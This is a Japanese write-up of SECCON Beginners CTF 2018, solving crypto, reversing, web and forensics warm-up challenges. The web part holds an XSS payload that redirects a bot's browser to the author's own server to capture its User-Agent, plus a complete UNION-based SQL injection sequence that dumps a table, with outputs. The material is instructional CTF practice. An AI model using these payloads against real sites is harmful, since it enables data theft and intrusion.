SECCON BeginnersCTF 2018 Write-up

## 所感
社会人になって初めてのCTFで、今回はぼっちで参加。
BeginnersCTFということで初心者向けの問題が多く、何をしたらいいかわからないみたい
な感覚はあまりなかったように感じた。(小並感)

結果的に、順位は161位でまだ解けそうな問題もいくかあったので悔しい...。
徹夜しようかと思ったけど眠くてムリでした。以下結果。

![result.png](https://qiita-image-store.s3.amazonaws.com/0/260530/e910ff1f-da57-eb02-dd64-002fd73f7132.png)

![FireShot Capture 15 - BeginnersCTF - https___score.beginners.seccon.jp_team_611.png](https://qiita-image-store.s3.amazonaws.com/0/260530/19ad39c4-8026-c481-9348-cf9c19008ae8.png)


以下解けた問題のWrite-upで、flag形式は```ctf4b{......}```

### Crypt

#### [Warmup] Veni, vidi, vici
`part1`,`part2`,`part3`のファイルが与えられ、それぞれのファイル内容を復号する問題。


```:part1
  Gur svefg cneg bs gur synt vf: pgs4o{a0zber
```

Rot13で暗号化されているので復号する。

```:復号結果
  The first part of the flag is: ctf4b{n0more
```

```:part2
  Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
```
  Rot13ではないが、文頭の`Lzw`のアルファベットの距離間隔?が`part1`の`Gur`
  と同じなのでRotXで暗号化されていると予想。実際Rot8で復号すると、


```:復号結果
  The second part of the flag is: _cLass!cal_c
```

```:part3
  {ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
```
  しばらく考えてしまったが、よく見ると文字を引っくり返した状態になっている。

 ```:復号結果
  The third part of the flag is: Rypt0graphy}
 ```

  これらをつなぎ合わせると、
  `ctf4b{n0more_cLass!cal_cRypt0graphy}`

#### Streaming


```:encrypted
  �e_�:WI�Y?�@�J1�&>Q��RV
```

```py:encrypt.py
  import os
  from flag import flag


  class Stream:
      A = 37423
      B = 61781
      C = 34607
      def __init__(self, seed):
          self.seed = seed % self.C

      def __iter__(self):
          return self

      def next(self):
          self.seed = (self.A * self.seed + self.B) % self.C
          return self.seed

  g = Stream(int(os.urandom(8).encode('hex'), 16))

  encrypted = ''
  for i in range(0, len(flag), 2):
      a = int(flag[i:i+2].encode('hex'), 16) ^ g.next()
      encrypted += chr(a % 256)
      encrypted += chr(a / 256)

  open('encrypted', 'wb').write(encrypted)
  ```
flagを`encrypt.py`で暗号化したものが`encrypted`で元のflagに復号する問題。

暗号化に`XOR(^)`が使われているため、flagの既知の部分である`ctf4{}`を使って初期の`seed`を求める。これをもとに`encrypt.py`を修正。

```py:decrypt.py
f = open('encrypted', 'rb')
encrypted = f.read();

class Stream:
    A = 37423
    B = 61781
    C = 34607

    def __init__(self, seed):
        self.seed = seed % self.C

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed

def nextSeed(s):
    return (Stream.A * s + Stream.B) % Stream.C


seed = int(encrypted[1].encode('hex'), 16) * 256 + int(encrypted[0].encode('hex'), 16)
seed ^= int("ct".encode('hex'),16)
print "The first seed is :",seed

flag = ''
for i in range(0, len(encrypted), 2):
    a = int(encrypted[i+1].encode('hex'), 16) * 256 + int(encrypted[i].encode('hex'), 16)
    flag += format(a ^ seed, 'x')
    seed = nextSeed(seed)

flag = flag.decode('hex')
print flag
f.close()
```

```:実行結果
The first seed is : 32186
ctf4b{lcg-is-easily-predictable}
```
よってflagは、`ctf4b{lcg-is-easily-predictable}`

### Reversing

#### [Warmup] Simple Auth

`simple_auth`のファイルが配布される。「 **認証に使われているパスワードを探せ！**」とあるので探す。

まずは、fileコマンドで確認。

```sh
$ file simple_auth
simple_auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=12f26187ec09ac8c5d933f75e41cc68e7f544862, not stripped
```

`ELF`なので実行形式のファイルなので動作を確認。

```sh
$ ./simple_auth
Input Password:aaaa
Umm...Auth failed...
```
このように、パスワードと比較して判定している様子。

フリー版のIDAでdisassebleする。

以下がパスワードと思しき該当箇所

```
mov     [rbp+var_30], 63h
mov     [rbp+var_2F], 74h
mov     [rbp+var_2E], 66h
mov     [rbp+var_2D], 34h
mov     [rbp+var_2C], 62h
mov     [rbp+var_2B], 7Bh
mov     [rbp+var_2A], 72h
mov     [rbp+var_29], 65h
mov     [rbp+var_28], 76h
mov     [rbp+var_27], 33h
mov     [rbp+var_26], 72h
mov     [rbp+var_25], 73h
mov     [rbp+var_24], 69h
mov     [rbp+var_23], 6Eh
mov     [rbp+var_22], 67h
mov     [rbp+var_21], 5Fh
mov     [rbp+var_20], 70h
mov     [rbp+var_1F], 34h
mov     [rbp+var_1E], 73h
mov     [rbp+var_1D], 73h
mov     [rbp+var_1C], 77h
mov     [rbp+var_1B], 30h
mov     [rbp+var_1A], 72h
mov     [rbp+var_19], 64h
mov     [rbp+var_18], 7Dh
```

Pythonでasciiに直す。

```py:decode.py
s = "63746634627b726576337273696e675f70347373773072647d"
print s.decode('hex')
```

flagは、`ctf4b{rev3rsing_p4ssw0rd}`

### Web

#### [Warmup] Greeting

[http://greeting.chall.beginners.seccon.jp/](http://greeting.chall.beginners.seccon.jp/)にアクセスし、flagを探す。
アクセスすると、

```php

if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる？
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}
```

`php`のソースコードがかかれており、
`admin`としてLoginすればflagがもらえそうだが、フォームにadminを入力すると、
`偽管理者`として`Cookie`の値に代入されるようになっている。
ソースコードによると`POST`メソッドの値が使われているので`GET`メソッドを使うことで
`偽管理者`代入を回避する。

`http://greeting.chall.beginners.seccon.jp/?name=admin`

よってflagは、`ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}``

#### Gimme your comment

[http://gyc.chall.beginners.seccon.jp](http://gyc.chall.beginners.seccon.jp)サイトのお問い合わせホームに特別なブラウザを使用して回答していて、ブラウザの `User-Agent` が分かれば、flagが取得できるみたい。

![web1.png](https://qiita-image-store.s3.amazonaws.com/0/260530/bef16fcf-4679-70a9-92d1-1099ab3e4e02.png)

上図の`textarea`部分に`XSS`の脆弱性があったので以下を挿入する。

`<script>window.location="http://hogehoge"</script>`

すると、回答のため起動したブラウザがXSSにより誘導される。
`hogehoge`は自分が立てたサーバのipアドレス。

サーバーのログから`User-Agent`が分かり、flagを取得。
ログは、

```:log
"GET HTTP/1.1" 200 3361 "http://hogehoge" "ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}"
```

よってflagは、`ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}`

#### SECCON Goods

商品の在庫情報を管理するサイトで特にフォーム等は見当たらないが、

```js:init.js 
axios.get('/items.php?minstock=0')
```
の部分から、`item.php`が在庫情報を取得しているのがわかる。
また、`minstock=0`の数字の値を変えてrequestすると、数字の値以上のリストが表示される。

このことから、`minstock=0`の部分は、`SQL文`の`where句`に
該当すると予想。

試しに、

```sql

minstock=8 or 1=1
```
を挿入すると、

```:実行結果
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"2","name":"T\u30b7\u30e3\u30c4","description":"M \u30b5\u30a4\u30ba","price":"2000","stock":"3"},{"id":"3","name":"T\u30b7\u30e3\u30c4","description":"L \u30b5\u30a4\u30ba","price":"2000","stock":"7"},{"id":"4","name":"T\u30b7\u30e3\u30c4","description":"XL \u30b5\u30a4\u30ba","price":"2000","stock":"4"},{"id":"5","name":"\u30d1\u30fc\u30ab\u30fc","description":"S \u30b5\u30a4\u30ba","price":"5000","stock":"7"},{"id":"6","name":"\u30d1\u30fc\u30ab\u30fc","description":"M \u30b5\u30a4\u30ba","price":"5000","stock":"5"},{"id":"7","name":"\u30d1\u30fc\u30ab\u30fc","description":"L \u30b5\u30a4\u30ba","price":"5000","stock":"3"},{"id":"8","name":"\u30d1\u30fc\u30ab\u30fc","description":"XL \u30b5\u30a4\u30ba","price":"5000","stock":"2"}]
```
全部のリストが出力されたので、 *SQLinjection* が行えることがわかる。

流れとしては、テーブル名を把握し、次にカラム名を探し、表示する。

- テーブル名

```sql:
minstock=8%20union%20select%201,2,3,4,table_name%20from%20information_schema.tables
```

```:実行結果
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"}

 ...

{"id":"1","name":"2","description":"3","price":"4","stock":"flag"},{"id":"1","name":"2","description":"3","price":"4","stock":"items"}]
```
これより、テーブル名が`flag`とわかる。

- カラム名

```sql
minstock=8%20union%20select%201,2,3,4,column_name%20from%20information_schema.columns%20where%20table_name%20=%20"flag"
```

```:実行結果
[
  {"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},
  {"id":"1","name":"2","description":"3","price":"4","stock":"flag"}
]
```

これより、カラム名も`flag`と判明。

- flagを表示する

```sql

minstock=8%20union%20select%201,2,3,4,flag%20from%20flag
```

```:実行結果
[{"id":"1","name":"T\u30b7\u30e3\u30c4","description":"S \u30b5\u30a4\u30ba","price":"2000","stock":"8"},{"id":"1","name":"2","description":"3","price":"4","stock":"ctf4b{cl4551c4l_5ql_1nj3c710n}"}]
```

よってflagは、`ctf4b{cl4551c4l_5ql_1nj3c710n}`
### Misc

#### [Warmup] Welcome

*“フラグは公式IRCチャンネルのトピックにあります。”*
言葉通り、IRCチャンネルに入ったらflagが取得できた。
flagは、`ctf4b{welcome_to_seccon_beginners_ctf}`

#### [Warmup] plain mail

`packet.pcap`ファイルが配られるのでWiresharkでみる。
内容はメールのやりとりが行われていて、`smtp`プロトコルなので暗号化されていない。

*“I will send secret information. First, I will send encrypted file. Second, I wll send you the password.”*

のメッセージから、ファイルとパスワードを送信しているらしい。

ファイルに該当するところが、

```
UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
```
メールなので、`base64`でencodeされているのでdecodeする。
decodeすると`zip`にファイルになっているので解凍しようとするが、
パスワードを求められる。
パスワードは、平文で送られているのでそのまま`_you_are_pro_`を利用する。

これを使ってファイルを解凍、無事にflagを取得。
flagは、`ctf4b{email_with_encrypted_file}`